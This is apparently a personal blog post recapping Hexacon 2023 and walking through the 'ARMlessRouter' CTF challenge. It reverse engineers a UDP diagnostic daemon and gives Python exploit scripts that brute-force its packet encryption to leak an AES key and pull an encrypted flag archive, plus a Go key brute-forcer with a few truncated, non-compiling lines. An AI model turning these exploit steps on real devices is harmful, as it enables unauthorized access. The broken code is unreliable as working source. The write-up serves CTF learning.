Intro
I was at Hexacon 2023, the second event of the series held by Synacktiv, and it was an absolute blast.
Started off with 4 days of training of ‘Attacking the Linux Kernel’ with Andrey Konovalov (would absolutely recommend, one of the most well rounded Linux kernel VR courses I’ve heard of).
The main conference was cool. The first day was a little generic for me, mostly centred aroud Pwn2Own talks/writeups - which were fun to listen to but didn’t really provide much new knowledge. The best talk from this day was ‘A 3-Year Tale of Hacking a Pwn2Own Target: The Attacks, Vendor Evolution, and Lesson Learned’ by Orange Tsai, which was an interesting story telling of three years of Pwn2Own VR, with all the highs and lows that go with such an endeavour. The second day was a excellent, a highlight being Bug Tales: Life and Death in the Sahara by Seamus B and Aaron W.
The conference also had a pre-event CTF, with 3 challenges. The rest of this blog is a little writeup of the first challenge
ARMlessRouter
ARMlessRouter was the first of three challenges released by Hexacon before the event. It was advertised as a “pwn2own style challenge”. In reality, it didn’t feel at all like a pwn2own target, but it was refreshing in that it didn’t fit into the traditional jeopardy CTF challenge categories.

The files.tgz file contained a number of files, including a cpio archive, a boot image, and a shell script to use those to emulate the remote system with QEMU.
Attack Surface Mapping
Since we need to target a remote system, we must hunt for processes that are exposed to the outside world. Listening all processes, both TCP and UPD, a number of processes are discovered. One advantage of this being a QEMU image rather than a full router is that there are few processes running at all.

SSH is a common service, and odhcpd is a well known DHCP server, so that leaves ddiag_server as the first place to investigate. It listens on all interfaces, on UDP port 1205.
Static RE of the Target Binary
The main function of the program shows how data is read into the processes stack over a listening socket, and passed into an unnamed function.

One of the nice things about this challenge is that the program is realistic in it’s use of logging, a common functionality of programs missed in CTF challenges and relied on in real-world RE. From this function it’s clear that the data sent to the process is some kind of packet.

From this function, we can tell:
- 0x5848 are the ‘magic bytes’ of this proprietary packet structure. The magic bytes are stored 6 bytes into the start of the packet header.
- The length of the packet should be
17 < packet_len <= 0x191, and this value is stored at byte offset 2 of the packet header. - The first byte of the packet header defines the packet version. There are two possible packet versions (1, 2).
- I named this function
process_packet, and the two functions that takearg1as arguments asinterpret_packet_1andinterpret_packet_2.
I figured out the rest of the packet structure by looking at the interpret_packet_1 function. Byte 2 of the header contains some opcode, that instructs the program on what diagnostic command to run. By continuing the RE process, I figured out the rest of the packet structure
struct message_struct
{
uint8_t packet_version;
uint8_t opcode;
uint16_t packet_len;
uint16_t command_flag;
uint16_t magic_bytes;
char checksum[0x10];
char message_body[0x190];
};This cleans up the decompilation a lot.

We can write a quick Python script to interact with the program now, to test the packet structure has been interpreted correctly. This test uses the ifconfig function of the program.
from pwn import *
import hashlib
IP, PORT = "34.79.178.49", 1205
OPCODES = {
"IFCONFIG": 0x02,
"HOSTNAME": 0x03,
"DISK_SIZE": 0x04,
"ECHO": 0x08,
"BACKUP": 0x2b,
"KEY": 0x16,
}
def calculate_hash(bytestring):
md5_hash = hashlib.md5()
md5_hash.update(bytestring)
hash_value = md5_hash.digest()
return hash_value
p = remote(IP, PORT, typ="udp", level="WARNING")
packet_body = flat({
0: b"ifconfig\x00"
}, length=0x190-0x18, filler = b"B")
packet_header = flat({
0: p8(1), # packet version
1: p8(OPCODES["IFCONFIG"]), # op code
2: p16(0x18), # length
4: p8(1), # command option (cond:)
6: p16(0x5848), # magic bytes
8: b"ddiag server md5",
}, length=0x18, filler=b"\x00")
payload = packet_header[:8] + calculate_hash(packet_header) + packet_body
p.sendline(payload)
print(p.recvrepeat(1)[16:].decode())
This returned:
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP qlen 1000
inet 172.18.1.3/24 brd 172.18.1.255 scope global eth1
valid_lft forever preferred_lft forever
The run_command function is responsible for executing the ifconfig command that was sent.

There isn’t an easy way to send version 2 packets yet, because the handler expects an encrypted packet - essentially the start of the interpret_packet_2 function attempts to decrypt the packet body of the send packet. The packet hashing function happens after this, so if the body is decrypted using an invalid key, the checksum will be incorrect.

Finding a flag
I spent a while searching for memory corruption or command injection, since the diagnostics are basically running shell commands and sending the output back to us. Neither of these exist (as far as I can tell), instead the vulnerability in this program is cryptographic.
In the packet version 2, one operation that is possible is termed backup.

- The function expect the string
backupto exist in the packet body - If the header’s command flag is 0x28 then the program runs the shell command
/usr/bin/backup.sh - If the header’s command flag is 0x29 then the program runs the shell command
/usr/bin/backup.sh -download- With the
-downloadargument, the data will be base64 encoded to the cmdline. This will then get sent to the remote process
- With the
So what does this program do? Well, it compresses the flag file into a gzip file, and then runs the binary program /usr/bin/bkp.
#! /bin/sh
echo "Saving everything that matters!"
tar cfz /tmp/backup.tgz /etc/secret_flag >/dev/null 2>/dev/null
#This will be changed in production!!
export BACKUPAESKEY="temp_key_change_it"
#This key is changed in production!!!
#This is a default key for testing purpose.
cd /tmp
/usr/bin/bkp /tmp/backup.tgz >/dev/null
if [ -z $1 ]
then
echo done
else
cat backup_conf.tgz.enc | base64
fiSo what is the bkp program doing? Well it grabs the BACKUPAESKEY from the environment, md5 hashes it, and then encrypts the gziped file with AES 128 CBC and
exports it to the file backup_conf.tgz.enc. So this backup program is the way we could get a flag remotely. The first step, therefore, is to work out how to
access the interpret_packet_2 operations without knowing the AES key, or by leaking the AES key.
Leaking the AES Key
From further analysis, it becomes clear there are two ways to send valid packets via interpret_packet_2
The vulnerability here is in the aes_decrypt function. See, the function only encrypted the message body, so the message header is unencrypted.
- We can send packets that do not require a message body without needing to know the AES key
- AES is using mode ECB, meaning if we make the message body 1 byte, we essentially only need to bruteforce one character of the AES to create a valid packet.
So we can use the interpret_packet_2 endpoint to leak the AES key using the get_key function with just one byte of message body text, we can bruteforce it with a 1/256 chance of success, pretty great odds!
from pwn import *
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
IP, PORT = "127.0.0.1", 1205
OPCODES = {
"IFCONFIG": 0x02,
"HOSTNAME": 0x03,
"DISK_SIZE": 0x04,
"ECHO": 0x08,
"BACKUP": 0x2b,
"KEY": 0x16,
}
def calculate_hash(bytestring):
md5_hash = hashlib.md5()
md5_hash.update(bytestring)
hash_value = md5_hash.digest()
return hash_value
progress = log.progress(f"Bruteforcing Single Byte AES")
for i in range(256):
progress.status(str(i))
p = remote(IP, PORT, typ="udp", level="WARNING")
packet_body = flat({
0: b"G"
}, filler = b"\x00")
packet_header = flat({
0: p8(2), # packet version
1: p8(0x16), # op code
2: p16(len(packet_body) + 0x18), # length
4: p8(0x1e), # command option (cond:)
6: p16(0x5848), # magic bytes
8: b"ddiag server md5",
}, length=0x18, filler=b"\x00")
payload = packet_header[:8] + calculate_hash(packet_header + packet_body) + p8(i)
p.sendline(payload)
response = p.clean()
if len(response) > 24:
aes_key = response[-17:-1].decode()
log.success(f"Key: {aes_key}")
progress.success(str(i))
break
p.close()
if i == 255:
progress.failure("Failed. Exiting")
exit()This leaks the AES key
python3 exploit.py
[+] Bruteforcing Single Byte AES: 196
[+] Key: 1234567812345678It’s now easy enough to use the backup function by adjusting the packet.
packet_body = flat({
0: b"backup\x00"
}, length=0x190-0x18, filler = b"B")
packet_header = flat({
0: p8(2), # packet version
1: p8(OPCODES["BACKUP"]), # op code
2: p16(0x18), # length
4: p8(0x29), # command option (cond:)
6: p16(0x5848), # magic bytes
8: b"ddiag server md5",
}, length=0x18, filler=b"\x00")
Decrypting the Flag
From reverse engineering of the bpk program, we know that the data is an AES-128-CBC encrypted .tgz archive of /etc/secret_flag. The IV used is always this_is_secretiv, and the key is generated by hashing the value held by environment variable BACKUPAESKEY.
The security weakness here is how the md5 hash is created. The data that is actually passed into the hashing algorithm is only the first 4 bytes of the BACKUPAESKEY environment variable.

This should be bruteforcable easily enough? The below Go bruteforcer will find a valid string in less than a minute.
package main
import (
"bytes"
"compress/gzip"
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"fmt"
"io/ioutil"
"log"
"sync"
)
const (
iv = "this_is_secretiv"
outfile = "outfile"
// outfile = "test_file"
)
func main() {
encryptedData, err := ioutil.ReadFile(outfile)
if err != nil {
log.Fatalf("Error reading encrypted data from file: %v", err)
}
printableChars := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"
concurrentLimit := make(chan struct{}, 6)
var wg sync.WaitGroup
for i := 0; i < len(printableChars); i++ {
for j := 0; j < len(printableChars); j++ {
for k := 0; k < len(printableChars); k++ {
for l := 0; l < len(printableChars); l++ {
wg.Add(1)
concurrentLimit <- struct{}{}
go func(i, j, k, l int) {
defer func() {
wg.Done()
<-concurrentLimit
}()
data := []byte{printableChars[i], printableChars[j], printableChars[k], printableChars[l]}
md5hash := md5Hash(data)
decrypted, err := decryptData(md5hash, iv, encryptedData)
if err != nil {
log.Printf("Error decrypting data with MD5 hash %s: %v", md5hash, err)
return
}
if isGzipFile(decrypted) {
decompressed, err := decompressGzip(decrypted)
if err != nil {
// log.Printf("Error decompressing gzip data: %v", err)
// return
}
bytes.Contains(decompressed, []byte("etc/secret_flag")) {
fmt.Printf("Found 'etc/secret_flag' in decrypted data for MD5 hash %x, string %v\n", md5hash, string(dat
fmt.Printf("Flag: %s", string(decompressed))
}
}
}(i, j, k, l)
}
}
}
}
wg.Wait()
}
func md5Hash(data []byte) []byte {
hash := md5.Sum(data)
return hash[:]
}
func decryptData(key []byte, iv string, encryptedData []byte) ([]byte, error) {
block, err := aes.NewCipher([]byte(key))
if err != nil {
return nil, err
}
mode := cipher.NewCBCDecrypter(block, []byte(iv))
decryptedData := make([]byte, len(encryptedData))
mode.CryptBlocks(decryptedData, encryptedData)
return decryptedData, nil
}
func isGzipFile(data []byte) bool {
return len(data) >= 2 && data[0] == 0x1f && data[1] == 0x8b
}
func decompressGzip(data []byte) ([]byte, error) {
reader := bytes.NewReader(data)
gzreader, err := gzip.NewReader(reader)
if err != nil {
return nil, err
}
defer gzreader.Close()
decompressed, err := ioutil.ReadAll(gzreader)
if err != nil {
}
return decompressed, nil
}Finally, we get the flag.
